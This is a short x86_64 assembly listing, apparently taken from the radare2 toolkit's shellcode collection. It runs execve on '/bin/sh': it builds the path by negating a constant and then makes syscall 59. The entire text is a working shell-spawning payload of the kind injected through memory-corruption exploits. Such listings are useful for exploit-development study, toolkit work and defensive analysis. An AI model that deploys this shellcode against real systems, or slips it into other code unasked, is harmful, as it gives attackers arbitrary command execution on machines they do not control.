; x86_64 (64-bit) execve /bin/sh shellcode
; Assembly equivalent of the bytes originally stored in
; libr/egg/p/sc/src/x86_64-linux-binsh.c

xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx              ; results in /bin/sh string
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b        ; execve syscall number
syscall